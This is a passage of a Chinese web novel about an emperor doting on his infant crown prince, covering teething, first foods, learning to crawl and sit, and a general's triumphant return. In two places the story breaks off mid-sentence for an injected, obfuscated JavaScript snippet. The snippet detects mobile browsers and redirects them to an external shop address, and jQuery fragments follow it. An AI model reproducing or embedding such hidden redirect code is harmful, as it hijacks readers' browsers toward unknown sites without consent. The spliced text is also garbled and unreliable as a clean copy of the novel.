这个法子确实有用,六六原本有些难受的嘴巴啃一啃立刻就舒服了。 像这样同六六亲近的好事,姬昊自然不愿意留给德妃去做,所以一大早就吩咐人将那木勺取过来。 亲自替六六按了按嘴巴,又陪他玩耍片刻。 姬昊瞧着外面日头渐渐大了,生怕六六出去会受了暑气,吩咐童兴去召见德妃来海宴院陪伴太子。 德妃接到消息后忙不迭就往海宴院赶,还专门戴了昨日小太子最喜欢的那支步摇。 去海宴院的路上,听雪替娘娘撑着伞,忍不住道:“娘娘,这日头也太大了些。” 德妃急着去见小太子,脚步十分匆忙,步摇上碎石榴籽碰撞发出清脆的响,她笑着应道:“是呢,陛下思虑周全。” 因着那一支石榴籽步摇,六六看德妃格外亲切,乐意挨着她玩。 姬昊这一忙就忙了半月,西北战报一封一封传回京城,局势不容乐观,书房的烛火时常燃到后半夜。 这日,姬昊看完奏折后端起降火的菊花茶喝了一口,突然一个宫女匆匆忙忙闯了进来。 西北战事紧急,陛下心情不好是众所周知的事,童兴正欲斥她鲁莽,这宫女先开口道:“陛下,德妃娘娘让奴婢来请皇上,说是小殿下的牙齿终于长出来了呢。” 一听这句话,姬昊所有怒意都在瞬间散去,连忙起身大步流星往外走。 海宴院内,小太子怀里抱着一个大大的玉石榴,认真抠着里面的石榴籽。 这玉石榴是德妃寻来的,自从她发现小太子对石榴相关格外喜欢后,便琢磨着要弄个玉石榴给他把玩。 德妃库房里有一块合适的玉料,她嫌宫中的工匠不好,写信给她大哥专门去宫外寻得玉雕大师,雕成了一个半张嘴的石榴。 虽说前前后后废了许多功夫,但好在小太子是真的喜欢,不管去哪都要将其抱在怀里。 今儿德妃又穿了一身石榴红的宫装,小太子见了直乐,正好让德妃瞧见他嘴巴下面悄悄冒出了一点白。 再定睛一看,真是长牙了! 虽说那一点刚冒头的比米粒还要小,但牙齿千真万确就是长出来了。 德妃忙吩咐人去告诉陛下这个好消息,又逗小太子笑想看个仔细。 等陛下驾到时,被逗了那么长时间的小太子已经有些累了,他绷着一张肉嘟嘟的小脸显得有些严肃。 姬昊逗了两下,见皇儿不笑,就干脆上手掰开瞧一瞧。 六六突然被掰了一下,小眉毛皱起没有丝毫预兆就开始嚎哭:“呜呜呜哇啊……” 不曾想,姬昊借机将那才露尖尖角的牙齿瞧了个清清楚楚,轻拍六六的后背安抚,一边往外走一边吩咐道:“德妃啊,去设宴,庆贺朕的太子长牙了。” 德妃笑着应允道:“是,妾这就去办。” 午后,一封八百里加急送入太平行宫,霍将军大胜! 西北蛮夷已俯首称臣。霍将军亲笔书信上言明,等来日凯旋,要将西北蛮夷王室尽数押解回京。 心腹大患已除,姬昊将那封奏折看了又看心情松快,走到摇篮旁边弯腰,用小木勺掀开他的嘴又瞧了瞧。 西北大捷,幼子生牙,今儿果真是个好日子! 太子殿下出牙宴,身为宴会的主角,小太子不像上次那样只能在旁边干看着流口水了。 按照大雍朝的习俗,只要孩童出牙,那就能尝一尝其他东西的味道了。 德妃亲自去问过老嬷嬷、太医、厨子,最后让小厨房的人单独给小太子煮了一碗米糊。 将鲜米磨成粉煮熟后,将绿叶蔬菜研磨成汁水加进去一点,再上锅蒸上片刻。 在太子殿下盯着盘子里那只烧鹅目不转睛流口水的时候,德妃将提前准备好的米糊端出来。 姬昊握住瓷勺,舀起半勺喂到六六嘴边。 六六有些疑惑,试探性张开嘴巴,姬昊往里送了送,他立刻将嘴巴合上,用嘴唇将勺子里的米糊全都留在了嘴里。 这是跟奶水截然不同的味道,六六砸吧嘴仔细品位,惊奇地将眼睛瞪得溜圆。 姬昊放下勺子轻轻刮了刮他的鼻子,笑着应道:“是,朕的太子长牙了,可以尝尝别的东西了。” 说完,姬昊又舀了一勺喂给他。 六六盯着那只被烤得酥脆的大鹅望梅止渴,连吃了好几勺米糊后打了个饱嗝。 听见这个声音,德妃立刻劝道:“陛下,太医说第一次进食不宜吃太多。” 姬昊放下勺子,抬手吩咐童兴将吃的撤下去,捏着六六的下巴,将他那小牙又看了看。 大抵是因为被看得多了,现在六六也知道他们想看些什么,开心的时候会龇牙,让人家瞧得更仔细些。 牙齿冒头后长得就很快了,太子殿下第一颗牙齿长出来后过了七日,就有一颗牙挨着它冒了出来。 姬昊的欢喜劲儿过去后,看着皇儿下面两颗牙齿,用带点忧愁的语气问德妃:“上面怎么一个都不长呢?” 德妃听见陛下这句话的时候无奈弯了弯唇,用帕子擦掉小殿下额头上的汗,笑着回道:“陛下,太医说早晚都会长出来的。” 如今小太子笑起来时下面两颗新生的牙齿也会露出来,更多了几分稚气的可爱。 自从尝过米糊的味道后六六就不怎么爱喝奶了,一日五餐要吃各种各样的米糊。 如今第二颗牙齿长出来,太医说可以酌情往米糊里添上些许肉泥,六六就更不愿意喝奶了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554221|204403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一连半月小太子一口奶都不愿再喝,姬昊便觉得海宴院里的乳母有些多了,吩咐德妃撤去一些。 这么多乳母里只有李乳母被册为夫人留在小太子身边,其余乳母都赏了些金银宝物放她们归家了。 各种米糊肉泥果泥轮番投喂下,将小太子放在软榻上,他自个儿已经能坐住了。 姬昊看着坐得端端正正的六六,若非是因为现在还有些热,他恨不得明日就回京,抱着皇儿去龙椅上也坐一坐。 六六生长很有规律,他是一个很有上进心的小妖怪,学会坐后就开始学爬,一日都不曾耽误。 小太子趴在软榻上,用手臂撑起自己的身体,先把左手伸出去迈右脚,再把右手伸出去迈左脚。 德妃坐在另一侧,看小太子努力蛄蛹半天还待在原地,忍住想笑的冲动夸道:“六六可真厉害。” 闻言低头忙活的小太子抬起头,看着远处的那只布老虎,他们之间的距离并没有拉近! 意识到自己还在原地的的六六瞬间泄气,自暴自弃往那一趴,委屈道:“呜……” 姿势瞧着像只小青蛙,模样又同乌龟没什么区别。 陛下正好忙完,回来便看见这一幕,在另一侧坐下问:“怎的了?” “陛下,太子殿下快要会爬了呢。”德妃答道。 虽说半步都未曾前进,但是好歹已经有了几分样子。反正宫中只有太子殿下一个孩子,左右他都是最出挑的那个。 姬昊夸道:“善!” 小太子爬行姿势是对的,每次爬行都很卖力,可过去了整整两日,他还是爬不走,只会在原地扭来扭去。 小太子从未这样受挫过,他有点委屈,索性爬也不爬了。 姬昊把六六放在软榻上想看他今日有没有进步,不曾想他把六六放在哪里,六六就在哪里趴下。 察觉到六六突然不想爬了,姬昊将他抱回怀里,逗道:“无妨,不必心急,左右我们六六已经会坐了,是不是?” 原本好好坐在父皇腿上的六六听见这句话,瞬间没骨头似得往他身上一倒。 小太子用鼻子喷气,说:“哼……” “好好好,父皇抱一抱。”姬昊说着拍了拍他的后背。 背地里,姬昊吩咐德妃多带小太子去园子里散散心。 叮嘱她六六小归小,却很有气性。 陛下都不急,德妃就更不急了,每日领着小太子在太平行宫各处玩耍。 带他看青色池水中那几尾红鲤,带他看瀑布飞流直下,还有那灵兽园里的孔雀开屏、仙鹤展翅…… 傍晚,姬昊听小旺子禀告今日德妃带六六去过的地方,再看坐在软榻上抱着脚的小太子,想来应当是将学不会爬的事情忘了。 当晚,六六原本躺得好好的,突然手撑着身子翻了个身,趴在那神色严肃思考。 姬昊从来不在太子专注时去打搅他,只是默默盯着看。 良久后,小太子像下定了什么决心,调转方向对准床脚。将手举过头顶,屁股撅起,就这么一点一点朝床尾蠕了过去。 姬昊:……? 8. 第 8 章 好消息:太子殿下学会爬了。 坏消息:这爬行姿势带着三分怪异! 六六每次解锁了新的技能后都要把自己玩到筋疲力竭,艰难蠕到床尾后立刻开始返程。 这回六六没有再举起手,他发现将手并在身侧,并不影响他蠕动。 姬昊面无表情,心中却五味杂陈,这回瞧着已是十分怪异。 小太子在龙床上蠕过来,小太子在龙床上蠕过去。 最后小太子累了,趴在那就这么睡熟了。 姬昊起身,将六六抱到身侧,替他盖好被子,听着耳边皇儿的呼吸,他辗转难眠。 爬行姿势甚是怪异,姬昊总觉得他在什么地方见过。 由于这爬的实在是太奇怪,姬昊并未设宴庆祝,又怕从前有这次没有六六多想,便亲自带他去灵兽园里玩耍。 灵兽园里养了许多鸟雀,羽毛艳丽,它们飞来飞去,小太子能看上很长时间。 六六伸出一根手指,指着那些飞来飞去的鹦哥,开心地跟父皇说:“呀哇。” 姬昊附和道:“是鹦哥。” 又是一只鹦哥飞过来,六六换了一根手指,开心道:“呜哇啊。” 不远处,有仆从正在教鹦哥说话。 “万岁,万岁……”仆从一边教,一边往鹦哥嘴里塞了一个果子。 鹦哥将果子吃下肚,歪着脑袋学道:“万岁,万岁!” 姬昊收回视线垂眸看向皇儿,想着他如今差不多也到了该学说话的时候,便教道:“六六,喊父皇。” 六六想了想,学道:“昂!” 姬昊耐心教了几次,奈何六六总有自己的想法。 日头渐渐大了起来,姬昊准备带六六回去用午膳,灵兽园的管事上前说:“陛下,请稍候片刻,小殿下很喜欢看奴才们给鸟儿喂食,平常德妃娘娘都带小殿下看完了才走。” 听见这句话,姬昊停下了脚步。 太监提着一个藤编的箱子过来,打开一看,里面全是虫子。 管事先将东西给小太子过目,介绍道:“殿下,鸟儿们晌午便吃这个。” 鸟儿们一口一只虫子,六六开心拍着手。 昨日夜里六六蠕来蠕去的场景突然在姬昊脑海中浮现,他看着还在拍手咯咯笑的六六,怒极反笑。 这回姬昊可算是明白了,太子怪异的姿势原来是跟这些虫子学的! 前些时候六六学不会爬失落了好久,姬昊也不好斥他什么,万般情绪都被他压了下去。 回到海晏院后,姬昊让伺候的人都退下,将六六放到软榻上,苦口婆心地劝道:“身为一国太子,像虫子那样成何体统?” 六六被放在软榻上,立刻用手肘将自己的身体撑了起来。 爹爹那些话他听不懂,就当做耳旁风,吹过了也就过去了。 被放在这样宽敞的地方,六六突然想起那些毛毛虫,往下一趴,双手放好,又开始了蠕动。 姬昊看六六这样蠕就觉得头痛,伸手捏了捏眉心,喊道:“六六!” 听见有人喊自己,六六蠕动的动作顿住,停下来回道:“嗯!” 姬昊头又隐隐作痛,只能先移开视线不去看他。 无人打搅的六六一边蠕一边哼哼,嘴里叽里咕噜说些旁人听不懂的话。 等姬昊好不容易平复好心绪,轻轻叩了叩小几,道:“六六,到父皇这儿来。” 虽然说现在大部分话说出来六六都听不懂,但是他能看得懂爹爹的手势。 喊“六六”再加上招招手,意思就是让他过去。 六六立刻丢掉他的布老虎,迅速朝着爹爹的方向爬。 动作还是一如既往的不雅,可姬昊看着这么个小东西已经知道往他怀里来,心中又有一种说不出的欣慰来。 姬昊还记得初见时的那个小奶团子,身上软软的,只有哭声响亮。 那日夜难眠的几个月过去,仿佛也就是一眨眼的时光。 六六爬到爹爹的怀里有些累了,说:“哦喔。” 姬昊吩咐道:“水。” 小旺子端着一碗温水进来,姬昊拿起勺子给六六喂了几口。 几口水下肚,小太子嘴不干了,又开始咿咿呀呀了。 姬昊决定先将爬行一事搁置,趁着六六说话的时候教道:“六六呀,喊父皇,父……” 六六盯着他的嘴,认真学道:“呜。” 虽然听起来是毫不相干,但是姬昊感受到了六六想要学习的心,心中稍慰。 姬昊接着教道:“是父。” 小太子学了半天什么也没学会,揉着眼睛打了个哈欠,已经是困了。 童兴在旁边看的干着急,说:“陛下,太子殿下如今还小呢,初学说话这也忒难了些,不如挑个简单的教?” 姬昊觉得童兴这话说得有理,便改口教道:“六六。” 小太子扭头:“噢?” 姬昊说:“爹爹,喊爹爹,我们六六喊爹爹,晚膳让让厨子给你做肉羹吃好不好?” 前面那一长串六六一个字都没听懂,只听懂了‘肉羹’和‘好不好’,可惜现在六六还不会说好,就用力点了点头。 六六:“嗷。” 姬昊看六六这副模样被逗笑了,他摸一摸六六的小脑袋妥协道:“罢了罢了,吩咐御厨送碗肉羹来。” 学不会就罢了,晓得吃也是好的。 ………… 金秋十月,圣驾回朝。 来时六六还是一个小团子,回京时已经能自个儿坐着了。 姬昊原本打算带六六赏完行宫的枫叶再回去,奈何已经收到霍荣快要到京城的消息,只能动身。 马车行驶了一个多时辰,小太子就哼唧着扭来扭去抗议了。 姬昊清楚六六的性子,直到若是这时候不哄好的话,那接下来就是惊天动地的哭声。 姬昊抱起六六,知道路途遥远确实乏味,他便问道:“踏雪呢?” “陛下……小殿下如今还小呢。”童兴听出陛下是什么意思后试图劝阻。 姬昊淡淡望过去,六六听见有人说自己小也眼神凶狠地瞪过去。 童兴心中一慌,意识到自己说错了话,连忙请罪道:“奴才失言,陛下,踏雪在后头跟着呢,奴才这就让人牵过来。” 踏雪是西域进贡的一匹汗血宝马,宫中许多经验丰富的驯马师都奈何不了他。最后陛下亲自上手,花费了半月时间才终于将它驯服,从那以后便成了陛下的坐骑。 马车停下,姬昊抱着太子走出去,踏雪已经被侍卫牵到了面前来。 单从外表上来看,踏雪绝对是万里挑一的俊朗,就算已经被姬昊驯服,身上却依旧带着桀骜不驯的野性。 六六忍不住伸出手摸了摸踏雪的鬓毛,挥着小手招呼道:“咿呀。” 踏雪不喜欢生人触碰,马蹄不安地踏来踏去,鼻子狠狠地喷出了一口气。 姬昊抱着六六翻身上马,踏雪两只前蹄高高扬起,想将它背上的小人颠下来。 不远处的童兴看见这一幕,惊得就差没昏过去,幸好旁边小旺子扶了他一把。 姬昊握紧了缰绳,厉声道:“驾!” 踏雪跑得飞快,六六听着耳畔呼呼的风声,奶声奶气学道:“呀!” 顾及太子年幼,姬昊只带六六跑了一圈便下了马。 出去透了透气后再回来六六不闹了,乖乖枕在爹爹臂弯处睡了过去。 ………… 回到皇宫后,紫宸殿的一草一木对六六来说已经有些陌生。李乳母抱着小殿下转了一圈,带他熟悉熟悉,夜里才好安睡。 现在太子殿下会坐能爬,身边伺候的人更是要死死盯着。 德妃觉得原本在太子身边的乳母和嬷嬷岁数有些大了,另拨了几个稳重的大宫女过去伺候。 霍将军即将回京,朝堂之上大臣们议论纷纷。陛下事多的时候,小殿下自然又送到了德妃娘娘那处。 行宫里六六就已经跟德妃混熟了,除了爹爹和李乳母外,小太子最喜欢的就是这个大石榴。 朝堂上的事情太多,六六一连好几日都歇在长春宫,连爹爹的面都没见到。 其实还是见过的,姬昊每次忙完都会来长春宫一趟,奈何都是深夜,他来时六六早已睡熟。 没能陪伴皇儿,姬昊心有愧疚,吩咐童兴去宫外请了杂耍的戏班子进宫给太子解闷。 戏班子既已入宫,后宫众人都沾了小太子的光,能一同看杂耍。 戏班子里各个身怀绝技,有会喷火的、还有会用脚顶碗到头顶去的,乐子一个接着一个,小太子看得确实欢喜,小手拍得啪啪响。 当天晚上睡前,德妃突然发现六六坐姿不大对。蹲不像蹲、坐不像坐、怎么看怎么别扭。 德妃舀起一勺肉羹喂到小太子嘴边,朝听雪递了个眼色过去。 听雪看了又看,恍然大悟,凑到娘娘的耳边轻声说道:“小殿下莫不是学了那只猴儿?” 今日进宫的那个戏班子班主养了一只猴子,会钻火圈,得了满堂喝彩。那只猴儿十分聪明,不表演的时候就乖乖蹲在一边。 德妃听完听雪说的话后再看,越看就越觉得六六坐得猴模猴样。 本身爬就不像样了!如今坐相又拜了猴子做师父,德妃根本不敢想要是让陛下瞧见了会怎样。 最后还是听雪病急乱投医,不知道从哪牵来了一只小白狗,抱着小殿下看了会儿小白狗。 这只小白狗坐姿很有礼貌。 六六只看了一会儿,就将它的礼貌坐姿给学过去了。先坐好,再把自己的两只手当成前爪放在那里。 虽说跟从前比起来还是有些差别,但是比猴子坐要好上太多。 德妃松了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554222|204403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,将六六哄睡后摸了摸他的手,只能在心中默默祈祷,兴许睡一觉之后六六就将这件事情给忘得干干净净了。 幸好,第二日六六就变回了太子坐。 德妃看见后欢喜地吩咐小厨房做些小米饼,正好等小太子看完花后回来吃。 大部分时候六六都是这样,如果不见到猴子又或者是那只小白狗的话,他就将自己好容易学到的东西也好容易的忘了。 用过早膳后,德妃带小太子去御花园里逛了一圈,回来时看见童兴站在长廊上。 童兴见德妃娘娘回来,传旨说晌午皇上来要长春宫用午膳。 这是皇上銮驾回宫后第一次踏足后宫。 送走童公公,听雪说:“娘娘,可要换身衣裳?奴婢记得皇上曾经夸过娘娘穿紫色最是端庄。” 德妃正在摇拨浪鼓逗小太子玩,小太子看似乖乖坐在那里,实际上眼神已经往她这瞟了一眼又一眼。 终于…… 六六按捺不住,朝德妃蠕了过来,一只手撑着身子,另一只手高高举起,将拨浪鼓夺了过去。 成功拿到拨浪鼓的六六像打了胜仗的将军,得意道:“噢~~” 德妃眼神温柔,拍了拍听雪的手背,说:“不必了,让小厨房多做几道皇上爱吃的菜吧。” “娘娘!”听雪有些不情愿地说。 德妃目送小太子拿着他的战利品蠕走,缓声道:“前朝事忙,陛下来长春宫不是为了瞧本宫的,那本宫又何必费心呢。” 德妃十分清楚陛下有多难讨好,再好看的衣裳也无用,倒不如穿小太子喜欢的,他还会凑过来摸一摸蹭一蹭。 六六把抢来的拨浪鼓藏好,又拿了一只他不喜欢的布老虎爬到德妃面前给她。 六六说:“嘤呜啊,咿呀……” 德妃接过布老虎,笑着道:“六六真好,布老虎竟也舍得割爱么?” 原本十分大方的六六在听见这句话后突然有点不舍,将布老虎抢回去爬走藏好,又拿了一个啃烂的木勺。 小太子‘翻山越岭’的模样,德妃不管看多久都不会觉得腻味,轻笑了一声后道:“你呀。” 听雪自知劝不动主子,去小厨房将刚做好的米糕端出来。 六六闻见米糕的香味,用力嗅了两下确定没错,左手拨浪鼓右手布老虎,迅速蠕到德妃面前,将两样都赠与她。 德妃一样一样接过去,再看那两只空空的小手已经递到了自己面前来。 小太子说:“呀!” 德妃轻轻拍了下六六的手心,装出一副没看懂他是什么意思的模样,眉眼弯弯夸道:“我们六六呀可真大方。” 并不大方的六六皱起小眉毛,重复道:“呀哇,糕糕啊……” 眼看小太子急得都快要会说话了,德妃连忙拿起一块米糕递给他,说:“吃罢吃罢。” 长春宫小厨房做出来的米糕十分松软,哪怕六六只有两颗牙也能吃一点。 德妃拿着团扇给六六扇着,看他乌黑的头发被吹得飘起来,心情仿佛也松快了许多。 “娘娘,紫宸殿来人了。”外面有宫女通传道。 片刻后,紫宸殿的大宫女走进来,说:“娘娘,陛下尝着这梨甚好,吩咐奴婢送来,给娘娘和小殿下也尝一尝。” 如今小太子能吃的东西是越来越多了,德妃渐渐察觉到小太子十分贪吃,不管是什么他只要拿到手了,都要塞进嘴里尝一尝。 听雪端着陛下赏赐的梨下去,去皮切成方便小殿下抓握的长块再端上来。 德妃抱六六去洗手,六六手伸进铜盆里后趁机搅了好多下,笑得露出了两颗牙。 有些水溅到了德妃身上,她笑斥道:“顽皮。” 六六扭了扭学道:“噫~” 德妃抱着洗干净手的六六回到榻上,用帕子擦掉他手上的水,示意听雪上前。 六六千挑万选,从那一碟子里选了最大的一块梨开始啃。 德妃起身去屏风后换掉湿了的衣裳,说:“拿那件绣了红石榴的来。” 听风拿着衣裳替娘娘换上,低声道:“那些事交给奴婢们去做便是了,娘娘何必亲力亲为?” 听风听雪是德妃的陪嫁丫鬟,陪伴娘娘长大,后来又跟着到了宫里。 听雪用手肘轻轻捅了她一下,摇摇头示意莫要再说这些,听风没跟去太平行宫,有些事情她不晓得。 小殿下这脾气,哪是奴才们想伺候就能伺候的,从前还只让陛下伺候呢。 德妃隔着屏风只看见六六啃得卖力,换好衣裳后走出去再一看,拿帕子遮住了唇角的笑意。 小太子好面子,发现旁人笑话他是要恼的,可这幅场景瞧着实在有趣。 六六小眉毛皱了起来,他知道自己下面生了牙,握住梨块脑袋一点一点,凶狠无比地想用牙刮点下来尝尝,努力良久梨块却毫发无伤。 9. 第 9 章 小太子啃累了,叹了口气往后一倒,靠在软枕上唉声叹气。 “谁惹了朕的太子不高兴啊?”门口传来一道低沉的男声。 殿内众人慌忙跪了一地。 姬昊抬手示意平身,走过去抱起六六掂了掂,说:“重了些。” 日光穿过窗棂落在地上,殿内燃着熏香,软榻上摆满了太子殿下的小玩意儿,色彩鲜艳、充满童趣。 六六见到了好多时日没见到的爹爹,噘着嘴举起那块梨告状:“呜嗯,咿呀啊。” 虽然小太子连话都说不清楚,但姬昊还是明白了他是什么意思,毕竟是亲手拉扯大的孩子。 姬昊握住六六肉乎乎的手腕,盯着他拿着的梨,故作严肃道:“小小一块梨竟敢欺负朕的太子?” 六六点点头附和道:“嗯!” “童兴,拖出去斩了。”姬昊说。 童兴立刻应道:“是。” 小旺子立刻奉上湿帕子,陛下接过替小太子擦了擦黏糊糊的嘴和手,动作熟练无比。 擦干净后,姬昊低头用鼻尖蹭了蹭六六肉嘟嘟的脸,连日辛劳的疲乏一扫而空。 六六有些日子没见到父皇了,但本能的依赖和亲近还在,看一眼爹爹就忍不住笑。他笑得开心,眯着眼睛咧嘴,像在用那两粒小牙看人。 姬昊突然开口道:“六六呀,朕让霍将军给你做武师傅,好不好?” 六六脑袋一歪,说:“嗷?” “那我们说好了,就这么定了。”姬昊说完将手递到皇儿面前。 六六眨巴着大眼睛有点疑惑,想想把自己的脑袋放了上去。 姬昊顺手戳戳他的小脸,六六立刻歪着脑袋瞪过来,姬昊朗声笑了起来,笑声里尽是愉悦。 饶是德妃在行宫中曾不止一次见过这幅场景,现在每每看了还是忍不住恍惚,从前那个杀伐果断的陛下像是一场梦。 陛下陪小太子玩了半个时辰,听风进来禀告午膳已备好。 姬昊问:“太子的呢?” 听风一愣,听雪忙上前回道:“小殿下的午膳也备好了。” “端上来吧。”德妃吩咐完后,去拿了个围兜给小太子戴上。 六六知道,每次戴围兜就是要吃饭,开心地扑腾着双臂,像一只展翅欲飞的幼鸟。 晌午小厨房给太子殿下准备的是肉泥米糊,外加一叠蛋羹。 小太子坐在父皇的腿上,姬昊一只手搂着他的肚子,另一只手舀起米糊。 六六眼神一直跟着勺子走,姬昊才刚舀起,他就已经先迫不及待将嘴巴张到了最大,发出了清脆的一声:“啊!” 姬昊唇角微勾,将米糊喂进六六嘴里,六六合上嘴,认真品味。 陛下给小太子喂完午膳后又抱他去园子里看了会儿花,回来时六六已经趴在他肩上睡熟了。 姬昊轻手轻脚将六六放进摇篮里,刚放下,六六就举起手皱着眉作势要醒,姬昊忙拿了只布老虎塞到他怀里去。 六六小胳膊搂住布老虎,皱着的眉毛舒展开。 姬昊替他盖好被子,轻轻拍了两下,又站在摇篮边看六六睡觉的样子入神。 直到童兴进来提醒说大臣们已经在书房里候着了,姬昊这才起身去偏殿用午膳。 德妃刚拿起竹箸欲给陛下布菜,只见陛下三两口就已经吃好了,起身拿起童兴递过来的帕子擦了擦,大步流星往外走。 秋高气爽,大雁南飞。霍将军大胜回朝,帝王携太子于城外十里亭亲迎。 陛下坐在亭子里听下属汇报,被抱着的小太子一直伸手,想去够外面火红的枫叶。 等那人说完话,小太子的手也伸累了,胳膊酸酸的,收回来用另一只手抱着,委屈噘起下嘴唇,用额头碰了碰父皇的胸口。 六六委屈道:“呜嗯……” 姬昊低头看着他,问:“怎么了?” 六六抬起脑袋,用下巴指着外面的枫叶,泪水在眼眶里打转。 小旺子立刻动身,拣好看的摘了一大一小两片枫叶,递到小殿下的面前。 六六一只手拿起一片,开心晃了晃,再把大的那片递给父皇。 “耶,爹耶耶哇。” 恍惚间听见了皇儿叫爹爹,姬昊一愣,将小太子举起来跟自己面对面,问:“你刚才说什么?” 小太子亲昵跟父皇碰了碰头,接着道:“耶~咿呀呜耶耶哇。” 姬昊眉毛微蹙,认真哄道:“不是这个,六六乖,再叫一声爹爹,好不好?嗯?” 一直被举着的六六又跟父皇碰了碰头,开心道:“嗷,爹耶耶嗯。” 这回姬昊听清楚了,他欣喜若狂,凑过去狠狠贴了贴六六的脸,夸道:“吾儿大才!善!” 六六学道:“安!” 忽而响起马蹄声,六六下意识扭头去看,姬昊将他抱回怀中,伸手捂住了他的耳朵。 不多时,霍将军带着数位将士出现在他们视野中,身后还跟着长长一串战俘。 离十里亭还有一段距离时,霍将军下马卸甲,快步上前给陛下行礼,扬声道:“臣,不负陛下所托!” 霍将军身材魁梧,早些年陪陛下四处征战,一身血腥戾气,声名远扬,在京中能止小儿夜啼。 姬昊在同霍荣说话时,分了些许注意力在六六身上。 小孩子受了惊吓夜里难带,睡着睡着就要哭醒。 谁成想,六六面上丝毫不见惧意,一双眼睛亮晶晶盯着远处的镇北军,惊讶将嘴张成了标准的圆形。 镇北军装备精良,一身银色盔甲在日光照耀下散发出冰冷的锋芒,单只是站在那里就让人望而生畏。 霍荣简单几句同陛下交代清楚后,看了一眼陛下抱着的小儿,眉眼间能看出几分陛下的影子,不难猜出这便是太子。 六六发现有人在看自己,他立刻望过去,先瞧见霍荣的络腮胡,被丑得猛地一缩。 霍荣立刻低下头去再次行礼,道:“臣霍荣,见过太子殿下。” 虽然六六嫌弃他满脸络腮胡的模样很丑,但一看见有人行礼他就忍不住学爹爹的样子抬手。 手跟脑子没有达成共识,让霍将军免礼并非太子本意。 霍荣一愣,很快便反应过来,道:“谢太子殿下。” 寻常孩童看见霍将军这样的壮汉大多会被吓得哇哇大哭,但小太子不一样,他打小就被身边人吹捧,小小年纪就养成了个极度自信的样子。 陛下、德妃、乳母、太监……有一个算一个,什么太阳就是为了让六六睁眼才出来的,花就是为了让小殿下看才开的 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眼见六六不愿意,姬昊便随他去了,轻轻拍着六六温热柔软的小身体,接着思索谁为太子太傅一事。 世人纵有万般好,姬昊始终觉得差了一点。 ………… 京都的秋季不长,金黄的银杏叶挂在树梢上没几日就被一场寒风吹了满地,风中已经带点冬天的凛冽。 御书房内御案一侧换了个新的摇篮,比从前那个要大些,现在小太子在里面酣睡。 姬昊展开一份奏折,拿起毛笔正欲批阅,就听见那摇篮里传来哼哼声。 扭头一看,小太子摇摇晃晃坐了起来,揉着眼睛喊道:“父父嗯……” 姬昊索性放下笔,起身将六六从摇篮里抱了出来,说:“睡醒了?” 六六靠在父皇怀里点头:“嗯。” 小旺子进来伺候,说:“陛下,绣坊今早送了新衣裳来。” 送过来的是一件水红色马甲,上面绣着的一只幼虎憨态可掬,绣娘还在领口和袖口处都用兔毛滚了一圈儿,毛绒绒的看着十分暖和。 姬昊亲自给六六穿上,更衬得小太子玉雪可爱,恍若仙童。 朝政之事不可耽误,姬昊左手抱着六六右手执笔批阅奏折。 起初小太子老老实实端坐,等完全清醒后盯着父皇看了会儿,发现父皇竟一眼都不看他,噘成小鸭嘴一个鲤鱼打挺。 姬昊毫无防备,手一抖墨迹污了奏折,他放下毛笔,六六已经在他怀中翻了个面,脚蹬来蹬去发脾气。 姬昊顺手拍了拍他的屁股,笑斥道:“顽皮!” 六六不服输地大声回道:“噫!” 姬昊起身吩咐童兴将御案挪得近些,把六六竖起来,让其坐在自己膝上,再将那份奏折摆在六六面前。 姬昊正色道:“身为一国太子,是时候为君父分忧了吧?” 小太子正襟危坐,严肃盯着奏折上看,片刻后,脑袋一耷拉额头碰在奏折上,发出了‘砰’一声响。 六六撞懵了,一时甚至没发现是自己的头,直到对上父皇紧张兮兮的眼神,眼泪才夺眶而出。 “呜呜哇……啊!!!”